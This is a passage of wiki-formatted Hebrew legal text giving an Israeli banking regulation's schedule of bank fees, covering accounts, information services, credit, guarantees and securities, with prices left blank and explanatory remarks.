&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:ת}} החזרת שיקים דחויים למפקיד אגב סגירת חשבונו בבנק לא תעלה על 5 ש״ח&lt;sup&gt;3&lt;/sup&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''חיוב מוטב בהחזרת חיוב על פי הרשאה'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} רגיל – . . . . ש״ח
{{ח:ת}} הצגה חוזרת – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;לעניין זה, ”הצגה חוזרת“ – מההחזרה השניה ואילך של חיוב על פי הרשאה שבוטלה בהוראת הלקוח או חיוב על פי הרשאה שהוצאה מן ההסדר&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''העברה במערכת הזיכויים וההעברות בזמן אמת (RTGS)'''
&lt;/td&gt;&lt;td&gt;לבנק אחר – . . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;במקרה של העברה בסכום של עד 1 מיליון ש״ח, התאגיד הבנקאי יהיה רשאי לגבות בעדה עמלה בסכום שאינו עולה על מחיר שירות של פעולה אחת על ידי פקיד&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ג.1&quot; &gt;&lt;td&gt;
{{ח:תת|'''(ג)'''|(1)}} '''מסלול בסיסי'''
{{ח:תתת}} מסלול הכולל עד פעולה אחת על ידי פקיד ועד 10 פעולות בערוץ ישיר
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;td&gt;בתחילת החודש בעד החודש שקדם לו&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} ההערות המופיעות בטור ”הערות“, לצד {{ח:פנימי|תוספת 1 פרט 1א.2|פסקה (2), שבפרט 1(א) לחלק זה}} לא יחולו על פסקה זו;
{{ח:תת|(2)}} שאילתות מידע באמצעות האינטרנט ומענה טלפוני ממוחשב (IVR), לא יימנו במניין הפעולות הכלולות במסלול ואין לגבות עמלה בעדן;
{{ח:תת|(3)}} במקרה שהתאגיד הבנקאי אינו מעמיד לרשות הלקוחות אפשרות סבירה לבצע פעולות של הפקדת שיקים או הפקדת מזומן בערוץ ישיר, ייחשבו פעולות אלה כפעולות בערוץ ישיר;
{{ח:תת|(4)}} במקרה שבו העביר לקוח את הפעילות בחשבון או סגר את חשבונו במהלך החודש, רשאי התאגיד הבנקאי לחייבו בעלות הכוללת של המסלול לאותו חודש.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ג.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''מסלול מורחב'''
{{ח:תתת}} מסלול הכולל עד 10 פעולות על ידי פקיד ועד 50 פעולות בערוץ ישיר
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;td&gt;בתחילת החודש בעד החודש שקדם לו&lt;/td&gt;&lt;td&gt;ההערות המופיעות בטור ”הערות“ לצד {{ח:פנימי|תוספת 1 פרט 1ג.1|פסקה (1), שבפרט 1(ג) לחלק זה}} יחולו גם על פסקה זו.&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ג.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''מסלול מורחב פלוס'''
{{ח:תתת}} מסלול הכולל את הפעולות ומספרן לפי המסלול המורחב, וכן שירותים נוספים לפי החלטת התאגיד הבנקאי
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;td&gt;בתחילת החודש בעד החודש שקדם לו&lt;/td&gt;&lt;td&gt;ההערות המופיעות בטור ”הערות“ לצד {{ח:פנימי|תוספת 1 פרט 1ג.1|פסקה (1), שבפרט 1(ג) לחלק זה}} יחולו גם על פסקה זו.&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 2&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 2 – מידע, הודעות והתראות'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''2(א) – שירותים נפוצים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''הודעות'''
{{ח:תתת}} שירות זה כולל –
{{ח:תתתת|(1)}} הודעות על פיגור בתשלומים
{{ח:תתתת|(2)}} התראות
{{ח:תתתת|(3)}} הודעות או התראות לפי {{ח:חיצוני|חוק שיקים ללא כיסוי|חוק שיקים ללא כיסוי, התשמ״א–1981}}
{{ח:תתתת|(4)}} {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''מכתב התראה של עורך דין'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''הפקה או הדפסה של מסמכים המצויים במאגר הממוחשב לבקשת לקוח'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} זמינים בסניף – . . . . ש״ח לבקשה בתוספת . . . . ש״ח לכל עמוד
{{ח:ת}} אינם זמינים בסניף – . . . . ש״ח לבקשה בתוספת . . . . ש״ח לכל עמוד
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:ת}} לא כולל צפייה בשיקים באינטרנט;
{{ח:ת}} אין לגבות עמלה בעד מסירת העתק אחד של הודעה לבקשת לקוח במהלך שישה חודשים מיום סגירת החשבון; לעניין זה, ”הודעה“ – הודעה שנשלחה בתקשורת ללקוח מכוח דין במהלך ששת החודשים שקדמו לסגירת החשבון.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''דוחות לבקשת לקוח'''
{{ח:תתתת|(א)}} דוחות סטנדרטיים, כגון:
{{ח:תתתתת|(1)}} אישור יתרות
{{ח:תתתתת|(2)}} פירוט תשלומים של הלוואה
{{ח:תתתתת|(3)}} פירוט רכיבי תשלום של הלוואה
{{ח:תתתתת|(4)}} לוח סילוקין נוסף
{{ח:תתתתת|(5)}} פירוט תיק ניירות ערך
{{ח:תתתתת|(6)}} שחזור תנועות בניירות ערך
{{ח:תתתתת|(7)}} אישור בעלות (החל מהאישור השני במהלך שנה)
{{ח:תתתתת|(8)}} {{ח:הערה|(נמחקה)}}
{{ח:תתתת|(ב)}} דוחות הכרוכים באיסוף מידע, למשל: מסירת מידע היסטורי בדבר ריביות, שערי חליפין, שערי ניירות ערך, וכן מכתבים לא סטנדרטיים או מכתב המלצה
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} דוחות סטנדרטיים – . . . . ש״ח (בפיקוח)
{{ח:ת}} דוחות הכרוכים באיסוף מידע – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} למעט באמצעות האינטרנט
{{ח:תת|(2)}} אישור יתרה לפני פירעון מוקדם של הלוואה – פטור מעמלה
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''איתור מסמכים''' לבקשת לקוח
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לבקשה&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} {{ח:הערה|(תימחק ביום 1.10.2026):}} '''איתור חשבונות'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2ב&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''(ב) – שירותים מיוחדים או עסקיים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2ב.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''קבלת מידע בתקשורת לבקשת לקוח'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 3 עמלות}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:ת}} שירות זה כולל מתן מידע באמצעים כמו: פקס׳, טלפון סלולרי, דואר אלקטרוני, מכשיר לקריאת כרטיס חיוב;
{{ח:ת}} אין לגבות עמלה בעד מסירת העתק אחד של הודעה לבקשת לקוח במהלך שישה חודשים מיום סגירת החשבון; לעניין זה, ”הודעה“ – הודעה שנשלחה בתקשורת ללקוח מכוח דין במהלך ששת החודשים שקדמו לסגירת החשבון.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2ב.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''מידע במדיה מגנטית או אלקטרונית'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2ב.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''הפקה ומשלוח דף תנועות בתדירות מיוחדת לבקשת הלקוח'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2ב.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''גישה ישירה למחשב הבנק'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי הפירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 3&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 3 – אשראי'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''3(א) – שירותים נפוצים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''הקצאת אשראי'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} יחיד – . . . . ש״ח לרבעון
{{ח:ת}} עסק קטן – . . . . אחוז
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;עמלה זו תיגבה מיחיד במקרה של אי־ניצול מסגרת האשראי ברבעון. במקרה של ניצול חלקי של המסגרת, לקוח יחיד יחויב בריבית הרבעונית או בעמלה, לפי הגבוה מביניהן&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''טיפול באשראי ובביטחונות''' (למעט הלוואה לדיור)
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} 1. הלוואות מעל 100,000 ש״ח . . . . אחוז (מינימום, מקסימום);
{{ח:ת}} 2. ניכיון שיקים – מעל 50,000 ש״ח . . . . אחוז (מינימום, מקסימום);
{{ח:ת}} 3. מסגרת אשראי לעסק קטן . . . . אחוז (מינימום, מקסימום);
{{ח:ת}} 4. הלוואות בערבות המדינה (לפי פירוט שיקבע התאגיד הבנקאי)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} אין לגבות את העמלה במקרה של חידוש האשראי, שלא כרוך בשינוי או הוספת ביטחונות. במקרה של הגדלת האשראי – ניתן לגבות את העמלה על ההפרש בלבד
{{ח:תת|(2)}} אין לגבות עמלה על העמדת מסגרת אשראי ללקוחות יחידים
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.2א&quot;&gt;&lt;td&gt;
{{ח:תתת|(2א)}} טיפול בבקשה להלוואה לדיור
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;העמלה תיגבה לאחר ביצוע עיקר ההליכים לקבלת ההלוואה&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} השירות כולל טיפול בביטחונות, אם רלוונטי;
{{ח:תת|(2)}} אין לגבות את העמלה במקרה של חידוש האשראי, שאינו כרוך בשינוי או הוספה של ביטחונות;
{{ח:תת|(3)}} בהלוואות לדיור חל {{ח:חיצוני|חוק הבנקאות (שירות ללקוח)#סעיף 9ז|סעיף 9ז לחוק הבנקאות (שירות ללקוח), התשמ״א–1981}}.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''דמי ניהול הלוואה לדיור''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''דמי גבייה בשל הלוואות שאינן לדיור, שניתנו ערב תחילתם של כללים אלה''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.5&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תתת|(5)}} '''ערבות בנקאית'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} ערבות בנקאית מכל סוג (למעט ערבות למשתכנים לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות), התשל״ה–1974}}) (להלן – חוק המכר) ולמעט ערבות בנקאית המובטחת בפיקדון כספי ספציפי . . . . אחוז (מינימום)
{{ח:ת}} ערבות למשתכנים לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר}} . . . . אחוז
{{ח:ת}} ערבות בנקאית המובטחת בפיקדון כספי ספציפי (למעט ערבות למשתכנים לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר}}) . . . . אחוז (מינימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;העמלה בעד שירות ”ערבות בנקאית המובטחת בפיקדון כספי ספציפי“ תהיה נמוכה מהעמלה בעד שירות ”ערבות מכל סוג“&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:ת}} 1. ערבות בנקאית מכל סוג (שאינה ערבות מהסוגים המפורטים בסעיפים 2 עד 4 להלן) . . . . אחוז (מינימום);
{{ח:ת}} 2. ערבות בנקאית למשתכנים לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות), התשל״ה–1974}} . . . . אחוז;
{{ח:ת}} 3. ערבות בנקאית המובטחת בפיקדון כספי ספציפי . . . . ש״ח;
{{ח:ת}} 4. ערבות בנקאית המובטחת בפיקדון כספי ספציפי לצורך הסכם שכירות לדירת מגורים (בסכום ערבות עד 50,000 ש״ח) . . . . ש״ח.
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} העמלה בעד שירות ”ערבות בנקאית המובטחת בפיקדון כספי ספציפי“, כאמור בסעיף 3 בטור ”מחיר“, תהיה נמוכה מעמלת המינימום בעד שירות ”ערבות בנקאית מכל סוג“, כאמור בסעיף 1 בטור ”מחיר“;
{{ח:תת|(2)}} העמלה בעד שירות ”ערבות בנקאית המובטחת בפיקדון כספי ספציפי לצורך הסכם שכירות לדירת מגורים (בסכום ערבות עד 50,000 ש״ח)“, כאמור בסעיף 4 בטור ”מחיר“, תהיה נמוכה מהעמלה בעד &quot;ערבות בנקאית המובטחת בפיקדון כספי ספציפי, כאמור בסעיף 3 בטור ”מחיר“.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''הסבת ערבות לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר}}'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} '''רישום שעבודים על ידי נציג התאגיד הבנקאי אצל רשם'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.8&quot;&gt;&lt;td&gt;
{{ח:תתת|(8)}} '''שינוי שעבודים'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} בבנק – . . . . ש״ח
{{ח:ת}} אצל רשם – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.9&quot;&gt;&lt;td&gt;
{{ח:תתת|(9)}} '''הסכמה ליצירת שעבוד לבנק אחר'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.10&quot;&gt;&lt;td&gt;
{{ח:תתת|(10)|(א)}} '''שינויים בהסכם ההלוואה או בתנאי הערבות לבקשת לקוח או ערב''' {{ש}} {{מוקטן|כולל: תקופת ההלוואה, זהות או הרכב לווים או ערבים, מסלול ההלוואה, ריבית, הקפאת תשלומים, איחוד או הפרדת זכאות, מועדי פירעון, תיקון ערבות}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תתתת|(ב)}} '''שינויים במועד הפירעון החודשי של הלוואה לדיור לפי {{ח:חיצוני|חוק הבנקאות (שירות ללקוח)#סעיף 9ג|סעיף 9ג לחוק הבנקאות (שירות ללקוח), התשמ״א–1981}}'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;התאגיד הבנקאי רשאי לגבות עמלה בסכום שאינו עולה על מחיר שירות של פעולה אחת של פקיד לכל הלוואה בעד כל אחד מארבעת השינויים הראשונים של מועד הפירעון החודשי של הלוואה לדיור בכל שנה&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.11&quot;&gt;&lt;td&gt;
{{ח:תתת|(11)}} '''גרירת הלוואה לדיור'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} הלוואה – . . . . ש״ח
{{ח:ת}} מענק – . . . . ש״ח
{{ח:ת}} ערבות או פיקדון ביניים – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.12&quot;&gt;&lt;td&gt;
{{ח:תתת|(12)}} '''הנפקה או חידוש של תעודת זכאות'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.13&quot;&gt;&lt;td&gt;
{{ח:תתת|(13)}} '''פירעון מוקדם'''
&lt;/td&gt;&lt;td&gt;עמלה תפעולית – . . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;עמלה זו נגבית נוסף לשאר התשלומים הנגבים על פי {{ח:חיצוני|צו הבנקאות (פירעון מוקדם של הלוואה לדיור)|צו הבנקאות (פירעון מוקדם של הלוואה לדיור), התשס״ב–2002}}, על פי הוראת ניהול בנקאי תקין מס׳ 454 ועל פי {{ח:חיצוני|חוק המקרקעין#סעיף 88|סעיף 88 לחוק המקרקעין, התשכ״ט–1969}}; התאגיד הבנקאי רשאי לגבות את העמלה פעם אחת, לכל היותר, בעד פירעון מוקדם של הלוואה, על כל המסלולים הנפרעים באותו מועד&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3ב&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''(ב) – שירותים מיוחדים או עסקיים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3ב.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''ליווי פיננסי'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 4&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 4 – ניירות ערך'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''4(א) – שירותים נפוצים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''קניה, מכירה, ופדיון של ניירות ערך הנסחרים בבורסה בתל אביב (למעט קרנות נאמנות&lt;sup&gt;4&lt;/sup&gt;, אופציות מעו״ף&lt;sup&gt;5&lt;/sup&gt; וחוזים עתידיים במעו״ף)''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} מניות ואגרות חוב . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} מילווה קצר מועד . . . . אחוז (מינימום, מכסימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} על פיצול הוראה לכמה ביצועים חלקיים באותו יום תיגבה עמלת מינימום אחת ביום לכל הוראה{{ח:הערה|;}}
{{ח:תת|(2)}} במקרה של קניה או מכירה שלא בוצעה מסיבה התלויה בלקוח – תיגבה עמלת מינימום רק אם בוצעה פעולה על ידי פקיד{{ח:הערה|;}}
{{ח:תת|(3)}} עמלה זו תיגבה גם בשל ביצוע השירות בניירות ערך שאינם נסחרים{{ח:הערה|;}}
{{ח:תת|(4)}} בעד פעולה המבוצעת ישירות באמצעות האינטרנט ייגבה שיעור מופחת של . . . . אחוז לפעולה במניות ובאגרות חוב, ושיעור מופחת של . . . . אחוז לפעולה במלווה קצר מועד.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''קניה, מכירה וכתיבה של אופציות מעו״ף''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום, מכסימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;ההערות {{ח:פנימי|תוספת 1 פרט 4א.1|שבסעיף (1)}} יחולו גם על סעיף זה&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''קניה, מכירה וכתיבה של חוזים עתידיים במעו״ף''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
&lt;/td&gt;&lt;td&gt;{{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי ובלבד שלא יעלה על 2 עמלות}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;הערה (1) {{ח:פנימי|תוספת 1 פרט 4א.1|שבסעיף (1)}} תחול גם על סעיף זה.&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''קניה, מכירה ופדיון של ניירות ערך בחוץ לארץ''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} מניות, אגרות חוב וקרנות נאמנות . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} אופציות . . . . אחוז (מינימום, מכסימוום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} במקרה של קניה או מכירה שלא בוצעה מסיבה התלויה בלקוח – תיגבה עמלת מינימום רק אם בוצעה פעולה על ידי פקיד;
{{ח:תת|(2)}} עמלה זו תיגבה גם בשל ביצוע השירות בניירות ערך שאינם נסחרים
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''דמי ניהול פיקדון ניירות ערך''' {{ש}} (לרבות יחידות השתתפות בקרנות נאמנות)
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} הנסחרים בארץ . . . . אחוז (מכסימום)
{{ח:ת}} הנסחרים בחוץ לארץ . . . . אחוז (מכסימום)
{{ח:ת}} שאינם נסחרים בבורסה . . . . אחוז (מכסימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} לא ניתן לגבות דמי ניהול פיקדון ניירות ערך שאינם נסחרים בבורסה לאחר שנמחקו מהרישום למסחר, למעט במקרה שהלקוח הוא בעל ענין בחברה שניירות הערך שלה נמחקו מהמסחר בעקבות הצעת רכש מלאה, כמשמעותה {{ח:חיצוני|חוק החברות#סעיף 336|בסעיף 336 לחוק החברות, התשנ״ט–1999}};
{{ח:תת|(2)}} לא ניתן לגבות דמי ניהול פיקדון ניירות ערך בעבור מלווה קצר מועד או בעבור קרן כספית כהגדרתה {{ח:חיצוני|תקנות השקעות משותפות בנאמנות (נכסים שמותר לקנות ולהחזיק בקרן ושיעוריהם המרביים)|בתקנות השקעות משותפות בנאמנות (נכסים שמותר לקנות ולהחזיק בקרן ושיעוריהם המרביים), התשנ״ה–1994}}.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''העברת ניירות ערך'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} לחשבון אותו לקוח בגוף פיננסי אחר – . . . . ש״ח (להעברה) (בפיקוח)
{{ח:ת}} לחשבון לקוח אחר – . . . . אחוז (מינימום, מכסימום לתיק)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} ”חשבון אותו לקוח“, לרבות חשבון משותף של הלקוח עם בן או בת זוגו{{ח:הערה|;}}
